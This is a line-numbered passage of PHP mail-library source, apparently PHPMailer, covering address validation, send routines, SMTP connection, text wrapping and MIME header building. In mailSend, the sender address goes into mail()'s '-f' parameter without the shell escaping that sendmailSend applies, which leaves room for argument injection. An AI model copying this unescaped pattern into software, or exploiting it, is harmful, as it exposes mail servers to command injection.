2408 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
2409 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
2410 $address
2411 );
2412 case 'pcre':
2413 //An older regex that doesn't need a recent PCRE
2414 return (boolean)preg_match(
2415 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
2416 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
2417 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
2418 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
2419 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
2420 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
2421 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
2422 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
2423 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
2424 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
2425 $address
2426 );
2427 case 'html5':
2428 /**
2429 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
2430 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
2431 */
2432 return (boolean)preg_match(
2433 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
2434 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
2435 $address
2436 );
2437 case 'noregex':
2438 //No PCRE! Do something _very_ approximate!
2439 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
2440 return (strlen($address) >= 3
2441 and strpos($address, '@') >= 1
2442 and strpos($address, '@') != strlen($address) - 1);
2443 case 'php':
2444 default:
2445 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
2446 }
2447 }
2448
2449 /**
2450 * Create a message and send it.
2451 * Uses the sending method specified by $Mailer.
2452 * @throws phpmailerException
2453 * @return boolean false on error - See the ErrorInfo property for details of the error.
2454 */
2455 public function send()
2456 {
2457 try {
2458 if (!$this->preSend()) {
2459 return false;
2460 }
2461 return $this->postSend();
2462 } catch (phpmailerException $exc) {
2463 $this->mailHeader = '';
2464 $this->setError($exc->getMessage());
2465 if ($this->exceptions) {
2466 throw $exc;
2467 }
2468 return false;
2469 }
2470 }
2471
2472 /**
2473 * Prepare a message for sending.
2474 * @throws phpmailerException
2475 * @return boolean
2476 */
2477 public function preSend()
2478 {
2479 try {
2480 $this->mailHeader = '';
2481 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
2482 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
2483 }
2484
2485 // Set whether the message is multipart/alternative
2486 if (!empty($this->AltBody)) {
2487 $this->ContentType = 'multipart/alternative';
2488 }
2489
2490 $this->error_count = 0; // reset errors
2491 $this->setMessageType();
2492 // Refuse to send an empty message unless we are specifically allowing it
2493 if (!$this->AllowEmpty and empty($this->Body)) {
2494 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
2495 }
2496
2497 $this->MIMEHeader = $this->createHeader();
2498 $this->MIMEBody = $this->createBody();
2499
2500 // To capture the complete message when using mail(), create
2501 // an extra header list which createHeader() doesn't fold in
2502 if ($this->Mailer == 'mail') {
2503 if (count($this->to) > 0) {
2504 $this->mailHeader .= $this->addrAppend('To', $this->to);
2505 } else {
2506 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
2507 }
2508 $this->mailHeader .= $this->headerLine(
2509 'Subject',
2510 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
2511 );
2512 }
2513
2514 // Sign with DKIM if enabled
2515 if (!empty($this->DKIM_domain)
2516 && !empty($this->DKIM_private)
2517 && !empty($this->DKIM_selector)
2518 && file_exists($this->DKIM_private)) {
2519 $header_dkim = $this->DKIM_Add(
2520 $this->MIMEHeader . $this->mailHeader,
2521 $this->encodeHeader($this->secureHeader($this->Subject)),
2522 $this->MIMEBody
2523 );
2524 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
2525 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
2526 }
2527 return true;
2528
2529 } catch (phpmailerException $exc) {
2530 $this->setError($exc->getMessage());
2531 if ($this->exceptions) {
2532 throw $exc;
2533 }
2534 return false;
2535 }
2536 }
2537
2538 /**
2539 * Actually send a message.
2540 * Send the email via the selected mechanism
2541 * @throws phpmailerException
2542 * @return boolean
2543 */
2544 public function postSend()
2545 {
2546 try {
2547 // Choose the mailer and send through it
2548 switch ($this->Mailer) {
2549 case 'sendmail':
2550 case 'qmail':
2551 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
2552 case 'smtp':
2553 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
2554 case 'mail':
2555 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
2556 default:
2557 $sendMethod = $this->Mailer.'Send';
2558 if (method_exists($this, $sendMethod)) {
2559 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
2560 }
2561
2562 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
2563 }
2564 } catch (phpmailerException $exc) {
2565 $this->setError($exc->getMessage());
2566 $this->edebug($exc->getMessage());
2567 if ($this->exceptions) {
2568 throw $exc;
2569 }
2570 }
2571 return false;
2572 }
2573
2574 /**
2575 * Send mail using the $Sendmail program.
2576 * @param string $header The message headers
2577 * @param string $body The message body
2578 * @see PHPMailer::$Sendmail
2579 * @throws phpmailerException
2580 * @access protected
2581 * @return boolean
2582 */
2583 protected function sendmailSend($header, $body)
2584 {
2585 if ($this->Sender != '') {
2586 if ($this->Mailer == 'qmail') {
2587 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
2588 } else {
2589 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
2590 }
2591 } else {
2592 if ($this->Mailer == 'qmail') {
2593 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
2594 } else {
2595 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
2596 }
2597 }
2598 if ($this->SingleTo) {
2599 foreach ($this->SingleToArray as $toAddr) {
2600 if (!@$mail = popen($sendmail, 'w')) {
2601 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2602 }
2603 fputs($mail, 'To: ' . $toAddr . "\n");
2604 fputs($mail, $header);
2605 fputs($mail, $body);
2606 $result = pclose($mail);
2607 $this->doCallback(
2608 ($result == 0),
2609 array($toAddr),
2610 $this->cc,
2611 $this->bcc,
2612 $this->Subject,
2613 $body,
2614 $this->From
2615 );
2616 if ($result != 0) {
2617 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2618 }
2619 }
2620 } else {
2621 if (!@$mail = popen($sendmail, 'w')) {
2622 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2623 }
2624 fputs($mail, $header);
2625 fputs($mail, $body);
2626 $result = pclose($mail);
2627 $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
2628 if ($result != 0) {
2629 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
2630 }
2631 }
2632 return true;
2633 }
2634
2635 /**
2636 * Send mail using the PHP mail() function.
2637 * @param string $header The message headers
2638 * @param string $body The message body
2639 * @link http://www.php.net/manual/en/book.mail.php
2640 * @throws phpmailerException
2641 * @access protected
2642 * @return boolean
2643 */
2644 protected function mailSend($header, $body)
2645 {
2646 $toArr = array();
2647 foreach ($this->to as $toaddr) {
2648 $toArr[] = $this->addrFormat($toaddr);
2649 }
2650 $to = implode(', ', $toArr);
2651
2652 if (empty($this->Sender)) {
2653 $params = ' ';
2654 } else {
2655 $params = sprintf('-f%s', $this->Sender);
2656 }
2657 if ($this->Sender != '' and !ini_get('safe_mode')) {
2658 $old_from = ini_get('sendmail_from');
2659 ini_set('sendmail_from', $this->Sender);
2660 }
2661 $result = false;
2662 if ($this->SingleTo && count($toArr) > 1) {
2663 foreach ($toArr as $toAddr) {
2664 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
2665 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
2666 }
2667 } else {
2668 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
2669 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
2670 }
2671 if (isset($old_from)) {
2672 ini_set('sendmail_from', $old_from);
2673 }
2674 if (!$result) {
2675 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
2676 }
2677 return true;
2678 }
2679
2680 /**
2681 * Get an instance to use for SMTP operations.
2682 * Override this function to load your own SMTP implementation
2683 * @return SMTP
2684 */
2685 public function getSMTPInstance()
2686 {
2687 if (!is_object($this->smtp)) {
2688 $this->smtp = new SMTP;
2689 }
2690 return $this->smtp;
2691 }
2692
2693 /**
2694 * Send mail via SMTP.
2695 * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
2696 * Uses the PHPMailerSMTP class by default.
2697 * @see PHPMailer::getSMTPInstance() to use a different class.
2698 * @param string $header The message headers
2699 * @param string $body The message body
2700 * @throws phpmailerException
2701 * @uses SMTP
2702 * @access protected
2703 * @return boolean
2704 */
2705 protected function smtpSend($header, $body)
2706 {
2707 $bad_rcpt = array();
2708
2709 if (!$this->smtpConnect()) {
2710 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
2711 }
2712 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
2713 if (!$this->smtp->mail($smtp_from)) {
2714 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
2715 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
2716 }
2717
2718 // Attempt to send to all recipients
2719 foreach ($this->to as $to) {
2720 if (!$this->smtp->recipient($to[0])) {
2721 $bad_rcpt[] = $to[0];
2722 $isSent = false;
2723 } else {
2724 $isSent = true;
2725 }
2726 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
2727 }
2728 foreach ($this->cc as $cc) {
2729 if (!$this->smtp->recipient($cc[0])) {
2730 $bad_rcpt[] = $cc[0];
2731 $isSent = false;
2732 } else {
2733 $isSent = true;
2734 }
2735 $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
2736 }
2737 foreach ($this->bcc as $bcc) {
2738 if (!$this->smtp->recipient($bcc[0])) {
2739 $bad_rcpt[] = $bcc[0];
2740 $isSent = false;
2741 } else {
2742 $isSent = true;
2743 }
2744 $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
2745 }
2746
2747 // Only send the DATA command if we have viable recipients
2748 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
2749 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
2750 }
2751 if ($this->SMTPKeepAlive) {
2752 $this->smtp->reset();
2753 } else {
2754 $this->smtp->quit();
2755 $this->smtp->close();
2756 }
2757 if (count($bad_rcpt) > 0) { // Create error message for any bad addresses
2758 throw new phpmailerException(
2759 $this->lang('recipients_failed') . implode(', ', $bad_rcpt),
2760 self::STOP_CONTINUE
2761 );
2762 }
2763 return true;
2764 }
2765
2766 /**
2767 * Initiate a connection to an SMTP server.
2768 * Returns false if the operation failed.
2769 * @param array $options An array of options compatible with stream_context_create()
2770 * @uses SMTP
2771 * @access public
2772 * @throws phpmailerException
2773 * @return boolean
2774 */
2775 public function smtpConnect($options = array())
2776 {
2777 if (is_null($this->smtp)) {
2778 $this->smtp = $this->getSMTPInstance();
2779 }
2780
2781 // Already connected?
2782 if ($this->smtp->connected()) {
2783 return true;
2784 }
2785
2786 $this->smtp->setTimeout($this->Timeout);
2787 $this->smtp->setDebugLevel($this->SMTPDebug);
2788 $this->smtp->setDebugOutput($this->Debugoutput);
2789 $this->smtp->setVerp($this->do_verp);
2790 $hosts = explode(';', $this->Host);
2791 $lastexception = null;
2792
2793 foreach ($hosts as $hostentry) {
2794 $hostinfo = array();
2795 if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
2796 // Not a valid host entry
2797 continue;
2798 }
2799 // $hostinfo[2]: optional ssl or tls prefix
2800 // $hostinfo[3]: the hostname
2801 // $hostinfo[4]: optional port number
2802 // The host string prefix can temporarily override the current setting for SMTPSecure
2803 // If it's not specified, the default value is used
2804 $prefix = '';
2805 $tls = ($this->SMTPSecure == 'tls');
2806 if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
2807 $prefix = 'ssl://';
2808 $tls = false; // Can't have SSL and TLS at once
2809 } elseif ($hostinfo[2] == 'tls') {
2810 $tls = true;
2811 // tls doesn't use a prefix
2812 }
2813 $host = $hostinfo[3];
2814 $port = $this->Port;
2815 $tport = (integer)$hostinfo[4];
2816 if ($tport > 0 and $tport < 65536) {
2817 $port = $tport;
2818 }
2819 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
2820 try {
2821 if ($this->Helo) {
2822 $hello = $this->Helo;
2823 } else {
2824 $hello = $this->serverHostname();
2825 }
2826 $this->smtp->hello($hello);
2827
2828 if ($tls) {
2829 if (!$this->smtp->startTLS()) {
2830 throw new phpmailerException($this->lang('connect_host'));
2831 }
2832 // We must resend HELO after tls negotiation
2833 $this->smtp->hello($hello);
2834 }
2835 if ($this->SMTPAuth) {
2836 if (!$this->smtp->authenticate(
2837 $this->Username,
2838 $this->Password,
2839 $this->AuthType,
2840 $this->Realm,
2841 $this->Workstation
2842 )
2843 ) {
2844 throw new phpmailerException($this->lang('authenticate'));
2845 }
2846 }
2847 return true;
2848 } catch (phpmailerException $exc) {
2849 $lastexception = $exc;
2850 // We must have connected, but then failed TLS or Auth, so close connection nicely
2851 $this->smtp->quit();
2852 }
2853 }
2854 }
2855 // If we get here, all connection attempts have failed, so close connection hard
2856 $this->smtp->close();
2857 // As we've caught all exceptions, just report whatever the last one was
2858 if ($this->exceptions and !is_null($lastexception)) {
2859 throw $lastexception;
2860 }
2861 return false;
2862 }
2863
2864 /**
2865 * Close the active SMTP session if one exists.
2866 * @return void
2867 */
2868 public function smtpClose()
2869 {
2870 if ($this->smtp !== null) {
2871 if ($this->smtp->connected()) {
2872 $this->smtp->quit();
2873 $this->smtp->close();
2874 }
2875 }
2876 }
2877
2878 /**
2879 * Set the language for error messages.
2880 * Returns false if it cannot load the language file.
2881 * The default language is English.
2882 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
2883 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
2884 * @return boolean
2885 * @access public
2886 */
2887 public function setLanguage($langcode = 'en', $lang_path = '')
2888 {
2889 // Define full set of translatable strings in English
2890 $PHPMAILER_LANG = array(
2891 'authenticate' => 'SMTP Error: Could not authenticate.',
2892 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
2893 'data_not_accepted' => 'SMTP Error: data not accepted.',
2894 'empty_message' => 'Message body empty',
2895 'encoding' => 'Unknown encoding: ',
2896 'execute' => 'Could not execute: ',
2897 'file_access' => 'Could not access file: ',
2898 'file_open' => 'File Error: Could not open file: ',
2899 'from_failed' => 'The following From address failed: ',
2900 'instantiate' => 'Could not instantiate mail function.',
2901 'invalid_address' => 'Invalid address',
2902 'mailer_not_supported' => ' mailer is not supported.',
2903 'provide_address' => 'You must provide at least one recipient email address.',
2904 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
2905 'signing' => 'Signing Error: ',
2906 'smtp_connect_failed' => 'SMTP connect() failed.',
2907 'smtp_error' => 'SMTP server error: ',
2908 'variable_set' => 'Cannot set or reset variable: '
2909 );
2910 if (empty($lang_path)) {
2911 // Calculate an absolute path so it can work if CWD is not here
2912 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
2913 }
2914 $foundlang = true;
2915 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
2916 if ($langcode != 'en') { // There is no English translation file
2917 // Make sure language file path is readable
2918 if (!is_readable($lang_file)) {
2919 $foundlang = false;
2920 } else {
2921 // Overwrite language-specific strings.
2922 // This way we'll never have missing translations.
2923 $foundlang = include $lang_file;
2924 }
2925 }
2926 $this->language = $PHPMAILER_LANG;
2927 return (boolean)$foundlang; // Returns false if language not found
2928 }
2929
2930 /**
2931 * Get the array of strings for the current language.
2932 * @return array
2933 */
2934 public function getTranslations()
2935 {
2936 return $this->language;
2937 }
2938
2939 /**
2940 * Create recipient headers.
2941 * @access public
2942 * @param string $type
2943 * @param array $addr An array of recipient,
2944 * where each recipient is a 2-element indexed array with element 0 containing an address
2945 * and element 1 containing a name, like:
2946 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
2947 * @return string
2948 */
2949 public function addrAppend($type, $addr)
2950 {
2951 $addresses = array();
2952 foreach ($addr as $address) {
2953 $addresses[] = $this->addrFormat($address);
2954 }
2955 return $type . ': ' . implode(', ', $addresses) . $this->LE;
2956 }
2957
2958 /**
2959 * Format an address for use in a message header.
2960 * @access public
2961 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
2962 * like array('joe@example.com', 'Joe User')
2963 * @return string
2964 */
2965 public function addrFormat($addr)
2966 {
2967 if (empty($addr[1])) { // No name provided
2968 return $this->secureHeader($addr[0]);
2969 } else {
2970 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
2971 $addr[0]
2972 ) . '>';
2973 }
2974 }
2975
2976 /**
2977 * Word-wrap message.
2978 * For use with mailers that do not automatically perform wrapping
2979 * and for quoted-printable encoded messages.
2980 * Original written by philippe.
2981 * @param string $message The message to wrap
2982 * @param integer $length The line length to wrap to
2983 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
2984 * @access public
2985 * @return string
2986 */
2987 public function wrapText($message, $length, $qp_mode = false)
2988 {
2989 $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
2990 // If utf-8 encoding is used, we will need to make sure we don't
2991 // split multibyte characters when we wrap
2992 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
2993 $lelen = strlen($this->LE);
2994 $crlflen = strlen(self::CRLF);
2995
2996 $message = $this->fixEOL($message);
2997 if (substr($message, -$lelen) == $this->LE) {
2998 $message = substr($message, 0, -$lelen);
2999 }
3000
3001 $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
3002 $message = '';
3003 for ($i = 0; $i < count($line); $i++) {
3004 $line_part = explode(' ', $line[$i]);
3005 $buf = '';
3006 for ($e = 0; $e < count($line_part); $e++) {
3007 $word = $line_part[$e];
3008 if ($qp_mode and (strlen($word) > $length)) {
3009 $space_left = $length - strlen($buf) - $crlflen;
3010 if ($e != 0) {
3011 if ($space_left > 20) {
3012 $len = $space_left;
3013 if ($is_utf8) {
3014 $len = $this->utf8CharBoundary($word, $len);
3015 } elseif (substr($word, $len - 1, 1) == '=') {
3016 $len--;
3017 } elseif (substr($word, $len - 2, 1) == '=') {
3018 $len -= 2;
3019 }
3020 $part = substr($word, 0, $len);
3021 $word = substr($word, $len);
3022 $buf .= ' ' . $part;
3023 $message .= $buf . sprintf('=%s', self::CRLF);
3024 } else {
3025 $message .= $buf . $soft_break;
3026 }
3027 $buf = '';
3028 }
3029 while (strlen($word) > 0) {
3030 if ($length <= 0) {
3031 break;
3032 }
3033 $len = $length;
3034 if ($is_utf8) {
3035 $len = $this->utf8CharBoundary($word, $len);
3036 } elseif (substr($word, $len - 1, 1) == '=') {
3037 $len--;
3038 } elseif (substr($word, $len - 2, 1) == '=') {
3039 $len -= 2;
3040 }
3041 $part = substr($word, 0, $len);
3042 $word = substr($word, $len);
3043
3044 if (strlen($word) > 0) {
3045 $message .= $part . sprintf('=%s', self::CRLF);
3046 } else {
3047 $buf = $part;
3048 }
3049 }
3050 } else {
3051 $buf_o = $buf;
3052 $buf .= ($e == 0) ? $word : (' ' . $word);
3053
3054 if (strlen($buf) > $length and $buf_o != '') {
3055 $message .= $buf_o . $soft_break;
3056 $buf = $word;
3057 }
3058 }
3059 }
3060 $message .= $buf . self::CRLF;
3061 }
3062
3063 return $message;
3064 }
3065
3066 /**
3067 * Find the last character boundary prior to $maxLength in a utf-8
3068 * quoted (printable) encoded string.
3069 * Original written by Colin Brown.
3070 * @access public
3071 * @param string $encodedText utf-8 QP text
3072 * @param integer $maxLength find last character boundary prior to this length
3073 * @return integer
3074 */
3075 public function utf8CharBoundary($encodedText, $maxLength)
3076 {
3077 $foundSplitPos = false;
3078 $lookBack = 3;
3079 while (!$foundSplitPos) {
3080 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
3081 $encodedCharPos = strpos($lastChunk, '=');
3082 if (false !== $encodedCharPos) {
3083 // Found start of encoded character byte within $lookBack block.
3084 // Check the encoded byte value (the 2 chars after the '=')
3085 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
3086 $dec = hexdec($hex);
3087 if ($dec < 128) { // Single byte character.
3088 // If the encoded char was found at pos 0, it will fit
3089 // otherwise reduce maxLength to start of the encoded char
3090 $maxLength = ($encodedCharPos == 0) ? $maxLength :
3091 $maxLength - ($lookBack - $encodedCharPos);
3092 $foundSplitPos = true;
3093 } elseif ($dec >= 192) { // First byte of a multi byte character
3094 // Reduce maxLength to split at start of character
3095 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
3096 $foundSplitPos = true;
3097 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
3098 $lookBack += 3;
3099 }
3100 } else {
3101 // No encoded character found
3102 $foundSplitPos = true;
3103 }
3104 }
3105 return $maxLength;
3106 }
3107
3108 /**
3109 * Set the body wrapping.
3110 * @access public
3111 * @return void
3112 */
3113 public function setWordWrap()
3114 {
3115 if ($this->WordWrap < 1) {
3116 return;
3117 }
3118
3119 switch ($this->message_type) {
3120 case 'alt':
3121 case 'alt_inline':
3122 case 'alt_attach':
3123 case 'alt_inline_attach':
3124 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
3125 break;
3126 default:
3127 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
3128 break;
3129 }
3130 }
3131
3132 /**
3133 * Assemble message headers.
3134 * @access public
3135 * @return string The assembled headers
3136 */
3137 public function createHeader()
3138 {
3139 $result = '';
3140
3141 // Set the boundaries
3142 $uniq_id = md5(uniqid(time()));
3143 $this->boundary[1] = 'b1_' . $uniq_id;
3144 $this->boundary[2] = 'b2_' . $uniq_id;
3145 $this->boundary[3] = 'b3_' . $uniq_id;
3146
3147 if ($this->MessageDate == '') {
3148 $this->MessageDate = self::rfcDate();
3149 }
3150 $result .= $this->headerLine('Date', $this->MessageDate);
3151
3152
3153 // To be created automatically by mail()
3154 if ($this->SingleTo) {
3155 if ($this->Mailer != 'mail') {
3156 foreach ($this->to as $toaddr) {
3157 $this->SingleToArray[] = $this->addrFormat($toaddr);
3158 }
3159 }
3160 } else {
3161 if (count($this->to) > 0) {
3162 if ($this->Mailer != 'mail') {
3163 $result .= $this->addrAppend('To', $this->to);
3164 }
3165 } elseif (count($this->cc) == 0) {
3166 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
3167 }
3168 }
3169
3170 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
3171
3172 // sendmail and mail() extract Cc from the header before sending
3173 if (count($this->cc) > 0) {
3174 $result .= $this->addrAppend('Cc', $this->cc);
3175 }
3176
3177 // sendmail and mail() extract Bcc from the header before sending
3178 if ((
3179 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
3180 )
3181 and count($this->bcc) > 0
3182 ) {
3183 $result .= $this->addrAppend('Bcc', $this->bcc);
3184 }
3185
3186 if (count($this->ReplyTo) > 0) {
3187 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
3188 }
3189
3190 // mail() sets the subject itself
3191 if ($this->Mailer != 'mail') {
3192 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
3193 }
3194
3195 if ($this->MessageID != '') {
3196 $this->lastMessageID = $this->MessageID;
3197 } else {
3198 $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
3199 }
3200 $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
3201 $result .= $this->headerLine('X-Priority', $this->Priority);
3202 if ($this->XMailer == '') {
3203 $result .= $this->headerLine(
3204 'X-Mailer',
3205 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
3206 );
3207 } else {
3208 $myXmailer = trim($this->XMailer);
3209 if ($myXmailer) {
3210 $result .= $this->headerLine('X-Mailer', $myXmailer);
3211 }
3212 }
3213
3214 if ($this->ConfirmReadingTo != '') {
3215 $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
3216 }
3217
3218 // Add custom headers
3219 for ($index = 0; $index < count($this->CustomHeader); $index++) {
3220 $result .= $this->headerLine(
3221 trim($this->CustomHeader[$index][0]),
3222 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
3223 );
3224 }
3225 if (!$this->sign_key_file) {
3226 $result .= $this->headerLine('MIME-Version', '1.0');
3227 $result .= $this->getMailMIME();
3228 }
3229
3230 return $result;
3231 }
3232
3233 /**
3234 * Get the message MIME type headers.
3235 * @access public
3236 * @return string
3237 */
3238 public function getMailMIME()
3239 {
3240 $result = '';
3241 $ismultipart = true;
3242 switch ($this->message_type) {
3243 case 'inline':
3244 $result .= $this->headerLine('Content-Type', 'multipart/related;');
3245 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
3246 break;
3247 case 'attach':
3248 case 'inline_attach':
3249 case 'alt_attach':
3250 case 'alt_inline_attach':
3251 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
3252 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
3253 break;
3254 case 'alt':
3255 case 'alt_inline':
3256 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
3257 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
3258 break;
3259 default:
3260 // Catches case 'plain': and case '':
3261 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
3262 $ismultipart = false;
3263 break;
3264 }
3265 // RFC1341 part 5 says 7bit is assumed if not specified
3266 if ($this->Encoding != '7bit') {
3267 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
3268 if ($ismultipart) {
3269 if ($this->Encoding == '8bit') {
3270 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
3271 }
3272 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
3273 } else {
3274 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
3275 }
3276 }
3277
3278 if ($this->Mailer != 'mail') {
3279 $result .= $this->LE;
3280 }
3281
3282 return $result;
3283 }
3284
3285 /**
3286 * Returns the whole MIME message.
3287 * Includes complete headers and body.
3288 * Only valid post preSend().
3289 * @see PHPMailer::preSend()
3290 * @access public
3291 * @return string
3292 */
3293 public function getSentMIMEMessage()
3294 {
3295 return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
3296 }
3297
3298
3299 /**
3300 * Assemble the message body.
3301 * Returns an empty string on failure.
3302 * @access public
3303 * @throws phpmailerException
3304 * @return string The assembled message body
3305 */
3306 public function createBody()
3307 {
3308 $body = '';
3309
3310 if ($this->sign_key_file) {
3311 $body .= $this->getMailMIME() . $this->LE;
3312 }
3313
3314 $this->setWordWrap();
3315
3316 $bodyEncoding = $this->Encoding;
3317 $bodyCharSet = $this->CharSet;
3318 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
3319 $bodyEncoding = '7bit';
3320 $bodyCharSet = 'us-ascii';
3321 }
3322 $altBodyEncoding = $this->Encoding;
3323 $altBodyCharSet = $this->CharSet;
3324 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
3325 $altBodyEncoding = '7bit';
3326 $altBodyCharSet = 'us-ascii';
3327 }
3328 switch ($this->message_type) {
3329 case 'inline':
3330 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
